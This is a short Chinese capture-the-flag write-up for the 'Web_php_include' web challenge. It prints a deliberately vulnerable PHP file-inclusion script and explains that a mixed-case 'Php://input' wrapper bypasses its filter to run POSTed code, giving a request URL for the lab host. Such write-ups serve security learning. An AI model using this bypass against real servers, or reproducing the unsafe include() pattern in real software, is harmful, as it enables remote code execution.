攻防世界高级WEB题目 （四） --Web_php_include

话不多说直接上代码：

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {		//strstr函数返回字符串第一次出现的地方
    $page=str_replace("php://", "", $page);			//正则匹配php://，但是有一个注意点，这个地方可以大小写混写绕过，所以传参为Php://input，利用post手段进行php代码执行
}
include($page);
?>

通过get方法进行请求：http://111.200.241.244:64116/?page=Php://input
然后通过post方法进行传递以下参数：就可以看到里面有什么文件，此时用查看文件命令即可得到flag。

标签：Web,WEB,文件,111.200,241.244,input,include
来源： https://www.cnblogs.com/holden-huang/p/15224864.html